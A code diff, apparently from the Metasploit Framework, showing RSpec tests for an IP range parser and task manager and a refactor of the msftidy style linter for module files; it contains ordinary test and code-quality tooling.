walker = Rex::Socket::RangeWalker.new("10.1.3.254-")
walker.should be_valid
walker.length.should == 2
end
it "should take * to mean 0-255" do
walker = Rex::Socket::RangeWalker.new("10.1.3.*")
walker.should be_valid
walker.length.should == 256
walker.next_ip.should == "10.1.3.0"
walker.should include("10.1.3.255")
walker = Rex::Socket::RangeWalker.new("10.1.*.3")
walker.should be_valid
walker.length.should == 256
walker.next_ip.should == "10.1.0.3"
walker.should include("10.1.255.3")
end
it "should handle lists" do
#walker = Rex::Socket::RangeWalker.new("10.1.1.1,2")
#walker.should be_valid
#walker.length.should == 2
walker = Rex::Socket::RangeWalker.new("10.1.1.1")
walker.should be_valid
walker.length.should == 1
walker = Rex::Socket::RangeWalker.new("10.1.1.1,3")
walker.should be_valid
walker.length.should == 2
walker.should_not include("10.1.1.2")
end
it "should produce the same ranges with * and 0-255" do
a = Rex::Socket::RangeWalker.new("10.1.3.*")
b = Rex::Socket::RangeWalker.new("10.1.3.0-255")
a.ranges.should eq(b.ranges)
end
it "should handle ranges and lists together" do
walker = Rex::Socket::RangeWalker.new("10.1.1.1-2,3")
walker.should be_valid
walker.length.should == 3
walker = Rex::Socket::RangeWalker.new("10.1-2.1.1,2")
walker.should be_valid
walker.length.should == 4
walker = Rex::Socket::RangeWalker.new("10.1,2.3,4.5,6")
walker.length.should == 8
end
it "should handle cidr" do
31.downto 16 do |bits|
walker = Rex::Socket::RangeWalker.new("10.1.1.1/#{bits}")
walker.should be_valid
walker.length.should == (2**(32-bits))
end
end
it "should yield all ips" do
walker = Rex::Socket::RangeWalker.new("10.1.1.1,2,3")
got = []
walker.each { |ip|
got.push ip
}
got.should == ["10.1.1.1", "10.1.1.2", "10.1.1.3"]
end
end

View File

@ -1,131 +0,0 @@
$:.push("../../lib")
require 'rex'
require 'rex/socket'
require 'rex/socket/range_walker'
describe Rex::Socket::RangeWalker do
it "should have a num_ips attribute" do
walker = Rex::Socket::RangeWalker.new("")
walker.should respond_to("num_ips")
walker.should respond_to("length")
walker.num_ips.should == walker.length
end
it "should handle single ipv6 addresses" do
walker = Rex::Socket::RangeWalker.new("::1")
walker.should be_valid
walker.length.should == 1
end
it "should handle ranges" do
walker = Rex::Socket::RangeWalker.new("10.1.1.1-2")
walker.should be_valid
walker.length.should == 2
walker.next_ip.should == "10.1.1.1"
walker = Rex::Socket::RangeWalker.new("10.1-2.1.1-2")
walker.should be_valid
walker.length.should == 4
walker = Rex::Socket::RangeWalker.new("10.1-2.3-4.5-6")
walker.should be_valid
walker.length.should == 8
walker.should include("10.1.3.5")
# Slow test on a 3.06 GHz proc
# ruby 1.9, ~ 11 seconds
# ruby 1.8.7, ~ 24 seconds
# ruby 1.8.6, ~ 23 seconds
#walker = Rex::Socket::RangeWalker.new("10.0-255.0-255.0-255")
#walker.should be_valid
#walker.length.should == 256 * 256 * 256
end
it "should default the lower bound of a range to 0" do
walker = Rex::Socket::RangeWalker.new("10.1.3.-17")
walker.should be_valid
walker.length.should == 18
walker = Rex::Socket::RangeWalker.new("10.1.3.-255")
walker.should be_valid
walker.length.should == 256
end
it "should default the upper bound of a range to 255" do
walker = Rex::Socket::RangeWalker.new("10.1.3.254-")
walker.should be_valid
walker.length.should == 2
end
it "should handle lists" do
#walker = Rex::Socket::RangeWalker.new("10.1.1.1,2")
#walker.should be_valid
#walker.length.should == 2
walker = Rex::Socket::RangeWalker.new("10.1.1.1")
walker.should be_valid
walker.length.should == 1
walker = Rex::Socket::RangeWalker.new("10.1.1.1,3")
walker.should be_valid
walker.length.should == 2
walker.should_not include("10.1.1.2")
end
it "should handle ranges and lists together" do
walker = Rex::Socket::RangeWalker.new("10.1.1.1-2,3")
walker.should be_valid
walker.length.should == 3
walker = Rex::Socket::RangeWalker.new("10.1-2.1.1,2")
walker.should be_valid
walker.length.should == 4
walker = Rex::Socket::RangeWalker.new("10.1,2.3,4.5,6")
walker.length.should == 8
end
it "should handle cidr" do
walker = Rex::Socket::RangeWalker.new("10.1.1.1/31")
walker.should be_valid
walker.length.should == 2
walker = Rex::Socket::RangeWalker.new("10.1.1.1/30")
walker.should be_valid
walker.length.should == 4
walker = Rex::Socket::RangeWalker.new("10.1.1.1/29")
walker.should be_valid
walker.length.should == 8
walker = Rex::Socket::RangeWalker.new("10.1.1.1/28")
walker.should be_valid
walker.length.should == 16
walker = Rex::Socket::RangeWalker.new("10.1.1.1/27")
walker.should be_valid
walker.length.should == 32
walker = Rex::Socket::RangeWalker.new("10.1.1.1/26")
walker.should be_valid
walker.length.should == 64
walker = Rex::Socket::RangeWalker.new("10.1.1.1/25")
walker.should be_valid
walker.length.should == 128
pending("Decide whether cidr_crack should include 0")
walker = Rex::Socket::RangeWalker.new("10.1.1.1/24")
walker.should be_valid
walker.length.should == 256
walker = Rex::Socket::RangeWalker.new("10.1.1.1/23")
walker.should be_valid
walker.length.should == 512
end
it "should handle ipv6 cidr" do
walker = Rex::Socket::RangeWalker.new("::1/127")
walker.should be_valid
walker.length.should == 2
walker = Rex::Socket::RangeWalker.new("::1/122")
walker.should be_valid
walker.length.should == 2 ** 6
walker = Rex::Socket::RangeWalker.new("::1/116")
walker.should be_valid
walker.length.should == 2 ** 12
end
#it "should handle ipv6 ranges" do
# pending("Need to define how this should be handled")
# walker = Rex::Socket::RangeWalker.new("::1-::1:1")
# walker.should be_valid
# walker.length.should == 2 ** 16
#end
it "should yield all ips" do
walker = Rex::Socket::RangeWalker.new("10.1.1.1,2,3")
got = []
walker.each { |ip|
got.push ip
}
got.should == ["10.1.1.1", "10.1.1.2", "10.1.1.3"]
end
end

View File

@ -1,102 +0,0 @@
$:.push("../../lib")
require 'testbase'
require 'msf/core/task_manager'
describe Msf::TaskManager do
it "should have attributes" do
tm = Msf::TaskManager.new($msf)
tm.should respond_to("processing")
tm.should respond_to("queue")
tm.should respond_to("thread")
tm.should respond_to("framework")
tm.should respond_to("processing=")
tm.should respond_to("queue=")
tm.should respond_to("thread=")
tm.should respond_to("framework=")
end
it "should initialize with an empty queue" do
tm = Msf::TaskManager.new($msf)
tm.queue.length.should == 0
tm.backlog.should == 0
tm.backlog.should == tm.queue.length
end
it "should add items to the queue and process them" do
tm = Msf::TaskManager.new($msf)
tm.queue_proc(Proc.new{ })
tm.backlog.should == 1
tm.queue_proc(Proc.new{ })
tm.backlog.should == 2
tm.start
sleep(0.5)
tm.backlog.should == 0
end
it "should add items to the queue and flush them" do
tm = Msf::TaskManager.new($msf)
tm.queue_proc(Proc.new{ })
tm.backlog.should == 1
tm.queue_proc(Proc.new{ })
tm.backlog.should == 2
tm.flush
tm.backlog.should == 0
end
it "should start and stop" do
tm = Msf::TaskManager.new($msf)
tm.queue_proc(Proc.new{ })
tm.backlog.should == 1
tm.start
sleep(0.5)
tm.backlog.should == 0
tm.stop
tm.queue_proc(Proc.new{ })
tm.backlog.should == 1
sleep(0.5)
tm.queue_proc(Proc.new{ })
tm.backlog.should == 2
tm.start
sleep(0.5)
tm.backlog.should == 0
end
it "should handle task timeouts" do
tm = Msf::TaskManager.new($msf)
t = Msf::TaskManager::Task.new(Proc.new { sleep(30) })
t.timeout = 0.1
tm.start
tm.queue_task(t)
sleep(0.5)
t.status.should == :timeout
t.duration.should <= 1.0
end
it "should handle task exceptions" do
tm = Msf::TaskManager.new($msf)
t = Msf::TaskManager::Task.new(Proc.new { asdf1234() })
tm.start
tm.queue_task(t)
sleep(0.5)
t.status.should == :dropped
t.exception.class.should == ::NoMethodError
end
it "should handle a bad proc return" do
tm = Msf::TaskManager.new($msf)
t = Msf::TaskManager::Task.new(Proc.new { return 12345 })
tm.start
tm.queue_task(t)
sleep(0.5)
t.status.should == :done
t.exception.should == nil
end
end

View File

@ -6,13 +6,6 @@
# by jduck and friends
#
##
#
# Supporting sub-routines
#
##
LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long
CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES']
if CHECK_OLD_RUBIES
@ -20,223 +13,232 @@ if CHECK_OLD_RUBIES
warn "This is going to take a while, depending on the number of Rubies you have installed."
end
def show_count(f, txt, num)
puts "%s ... %s: %u" % [f, txt, num] if num > 0
end
def show_missing(f, txt, val)
puts '%s ... %s' % [f, txt] if not val
end
# This check is only enabled if the environment variable MSF_CHECK_OLD_RUBIES is set
def test_old_rubies(f_rel)
return true unless CHECK_OLD_RUBIES
return true unless Object.const_defined? :RVM
puts "Checking syntax for #{f_rel}."
@rubies ||= RVM.list_strings
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
@rubies.size == res.size
end
def check_single_file(dparts, fparts, f_rel)
f = (dparts + fparts).join('/')
# puts "Checking: #{f.inspect}"
# Put some kind of blacklist mechanism here, yaml config would be nice...
# check for executable
f_exec = File.executable?(f_rel)
show_missing(f, "WARNING: is executable", !f_exec)
# check all installed rubies
old_rubies = test_old_rubies(f_rel)
show_missing(f, "ERROR: fails alternate Ruby version check", old_rubies)
# check various properties based on content
content = File.open(f_rel, "rb").read
# check criteria based on whole content
if content =~ / \< Msf::Exploit/
has_rank = false
has_dd = false
has_rank = true if content =~ /Rank =/
has_dd = true if content =~ /DisclosureDate/ or content =~ /Generic Payload Handler/
show_missing(f, 'ERROR: missing exploit ranking', has_rank)
show_missing(f, 'ERROR: missing disclosure date', has_dd)
class String
def red
"\e[1;31;40m#{self}\e[0m"
end
# Check disclosure date format
if content =~ /'DisclosureDate' => ['|\"](.+)['|\"]/
d = $1 #Captured date
# Flag if overall format is wrong
if d =~ /^... \d{1,2} \d{4}/
# Flag if month format is wrong
m = d.split[0]
months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
if months.index(m).nil?
show_missing(f, 'WARNING: incorrect disclosure month format', false)
def yellow
"\e[1;33;40m#{self}\e[0m"
end
end
class Msftidy
LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long
def initialize(source_file)
@source = load_file(source_file)
@name = source_file
end
public
##
#
# The following two functions only print what you throw at them.
# With an option of displaying the line number.
#
##
def warn(txt, line=0)
line_msg = (line>0) ? ":#{line.to_s}" : ''
puts "#{@name}#{line_msg} - [#{'WARNING'.yellow}] #{txt}"
end
def error(txt, line=0)
line_msg = (line>0) ? ":#{line.to_s}" : ''
puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}"
end
##
#
# The functions below are actually the ones checking the source code
#
##
def check_extname
if File.extname(@name) != '.rb'
error("Module should be a '.rb' file, or it won't load.")
end
end
def test_old_rubies(f_rel)
return true unless CHECK_OLD_RUBIES
return true unless Object.const_defined? :RVM
puts "Checking syntax for #{f_rel}."
rubies ||= RVM.list_strings
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
rubies.size == res.size
error("Fails alternate Ruby version check") if rubies.size
end
def check_ranking
return if @source !~ / \< Msf::Exploit/
available_ranks = [
'ManualRanking',
'LowRanking',
'AverageRanking',
'NormalRanking',
'GoodRanking',
'GreatRanking',
'ExcellentRanking'
]
if @source =~ /Rank \= (\w+)/
if not available_ranks.include?($1)
error("Invalid ranking. You have '#{$1}'")
end
end
end
def check_disclosure_date
return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/
# Check disclosure date format
if @source =~ /'DisclosureDate'.*\=\>[\x0d|\x20]*['|\"](.+)['|\"]/
d = $1 #Captured date
# Flag if overall format is wrong
if d =~ /^... \d{1,2}\,* \d{4}/
# Flag if month format is wrong
m = d.split[0]
months = [
'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'
]
error('Incorrect disclosure month format') if months.index(m).nil?
else
error('Incorrect disclosure date format')
end
else
show_missing(f, 'WARNING: incorrect disclosure date format', false)
error('Exploit is missing a disclosure date')
end
end
# Check title format
if content =~ /'Name'\s+=>\s[\x22\x27](.+)[\x22\x27],\s*$/
name = $1
words = $1.split
[words.first, words.last].each do |word|
if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/
next if word =~ /php[A-Z]/
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM}.include? word
show_missing(f, "WARNING: bad capitalization in module title: #{word}", false)
def check_title_format
if @source =~ /'Name'\s+=>\s[\x22\x27](.+)[\x22\x27],\s*$/
name = $1
words = $1.split
[words.first, words.last].each do |word|
if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/
next if word =~ /php[A-Z]/
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM}.include? word
warn("Improper capitalization in module title: '#{word}...'")
end
end
end
end
# If an exploit module mentinos the word "stack overflow", chances are they mean "stack buffer overflow".
# "stack overflow" means "stack exhaustion". See explanation:
# http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx
bad_term = true
if content =~ /class Metasploit\d < Msf::Exploit::Remote/ and content.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
bad_term = false
show_missing(f, 'WARNING: contains "stack overflow" You mean "stack buffer overflow"?', bad_term)
elsif content =~ /class Metasploit\d < Msf::Auxiliary/ and content.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
bad_term = false
show_missing(f, 'WARNING: contains "stack overflow" You mean "stack exhaustion"?', bad_term)
end
# Check function naming style and arg length
functions = content.scan(/def (\w+)\(*(.+)\)*/)
functions.each do |func_name, args|
=begin
# Check Ruby variable naming style
if func_name =~ /[a-z][A-Z]/ or func_name =~ /[A-Z][a-z]/
show_missing(f, "WARNING: Poor function naming style for: '#{func_name}'", false)
end
=end
# Check argument length
args_length = args.split(",").length
if args_length > 6
show_missing(f, "WARNING: Poorly designed argument list in '#{func_name}'. Try a hash.", false)
def check_bad_terms
# "Stack overflow" vs "Stack buffer overflow" - See explanation:
# http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx
if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
warn('Contains "stack overflow" You mean "stack buffer overflow"?')
elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
warn('Contains "stack overflow" You mean "stack exhaustion"?')
end
end
=begin
vars = content.scan(/([\x20|\w]+) \= [\'|\"]*\w[\'|\"]*/).flatten
vars.each do |v|
v = v.strip
next if v =~ /^var/ or v =~ /^Rank/
if v =~ /[a-z][A-Z]/ or v =~ /[A-Z][a-z]/
show_missing(f, "WARNING: Poor variable naming style for: '#{v}'", false)
def check_function_basics
functions = @source.scan(/def (\w+)\(*(.+)\)*/)
functions.each do |func_name, args|
# Check argument length
args_length = args.split(",").length
warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6
end
end
=end
# check criteria based on individual lines
spaces = 0
bi = []
ll = []
bc = []
cr = 0
url_ok = true
nbo = 0 # non-bin open
long_lines = 0
no_stdio = true
def check_lines
url_ok = true
no_stdio = true
in_comment = false
in_literal = false
src_ended = false
idx = 0
in_comment = false
in_literal = false
src_ended = false
@source.each_line { |ln|
idx += 1
idx = 0
content.each_line { |ln|
idx += 1
# block comment awareness
if ln =~ /^=end$/
in_comment = false
next
end
in_comment = true if ln =~ /^=begin$/
next if in_comment
# block string awareness (ignore indentation in these)
in_literal = false if ln =~ /^EOS$/
next if in_literal
in_literal = true if ln =~ /\<\<-EOS$/
# ignore stuff after an __END__ line
src_ended = true if ln =~ /^__END__$/
next if src_ended
if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/
bc << [ idx, ln.inspect]
end
if (ln.length > LONG_LINE_LENGTH)
ll << [ idx, ln ]
end
spaces += 1 if ln =~ /[ \t]$/
if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.include?(' '))
bi << [ idx, ln ]
end
cr += 1 if ln =~ /\r$/
url_ok = false if ln =~ /\.com\/projects\/Framework/
if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/
if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/
nbo += 1
# block comment awareness
if ln =~ /^=end$/
in_comment = false
next
end
end
in_comment = true if ln =~ /^=begin$/
next if in_comment
# The rest of these only count if it's not a comment line
next if ln =~ /[[:space:]]*#/
# block string awareness (ignore indentation in these)
in_literal = false if ln =~ /^EOS$/
next if in_literal
in_literal = true if ln =~ /\<\<-EOS$/
if ln =~ /\$std(?:out|err)/ or ln =~ /[[:space:]]puts/
no_stdio = false
end
}
# ignore stuff after an __END__ line
src_ended = true if ln =~ /^__END__$/
next if src_ended
# report information for this file
show_count(f, 'WARNING: spaces at EOL', spaces)
if bi.length > 0
puts '%s ... bad indent: %u' % [f, bi.length]
bi.each { |el|
el[1] = el[1].inspect
puts ' %8d: %s' % el
if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/
error("Unicode detected: #{ln.inspect}", idx)
end
if (ln.length > LONG_LINE_LENGTH)
warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx)
end
if ln =~ /[ \t]$/
warn("Spaces at EOL", idx)
end
if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.include?(' '))
warn("Bad indent: #{ln.inspect}", idx)
end
if ln =~ /\r$/
warn("Carriage return EOL", idx)
end
url_ok = false if ln =~ /\.com\/projects\/Framework/
if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/
if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/
warn("File.open without binary mode", idx)
end
end
# The rest of these only count if it's not a comment line
next if ln =~ /[[:space:]]*#/
if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/
no_stdio = false
error("Writes to stdout", idx)
end
}
end
if ll.length > 0
puts "WARNING: %s ... lines longer than #{LONG_LINE_LENGTH} columns: %u" % [f, ll.length]
ll.each { |el|
el[1] = el[1].inspect
puts ' %8d: %s' % el
}
end
private
if bc.length > 0
puts "ERROR: %s ... probably has unicode: %u" % [f, bc.length]
bc.each { |ec|
ec[1] = ec[1].inspect
puts ' %8d: %s' % ec
}
def load_file(file)
f = open(file, 'rb')
buf = f.read(f.stat.size)
f.close
return buf
end
show_count(f, 'WARNING: carriage return EOL', cr)
show_missing(f, 'WARNING: incorrect URL to framework site', url_ok)
show_missing(f, 'ERROR: writes to stdout', no_stdio)
show_count(f, 'WARNING: File.open without binary mode', nbo)
end
def run_checks(f_rel)
tidy = Msftidy.new(f_rel)
tidy.check_extname
tidy.test_old_rubies(f_rel)
tidy.check_ranking
tidy.check_disclosure_date
tidy.check_title_format
tidy.check_bad_terms
tidy.check_function_basics
tidy.check_lines
end
##
#
@ -247,13 +249,11 @@ end
dirs = ARGV
if dirs.length < 1
$stderr.puts "usage: #{File.basename(__FILE__)} <directory or file>"
$stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>"
exit(1)
end
dirs.each { |dir|
# process all args
f = nil
old_dir = nil
@ -273,11 +273,11 @@ dirs.each { |dir|
# Only one file?
if f
check_single_file(dparts, [ f ], f)
run_checks(f)
else
# Do a recursive check of the specified directory
Dir.glob('**/*.rb') { |f|
check_single_file(dparts, f.split('/'), f)
run_checks(f)
}
end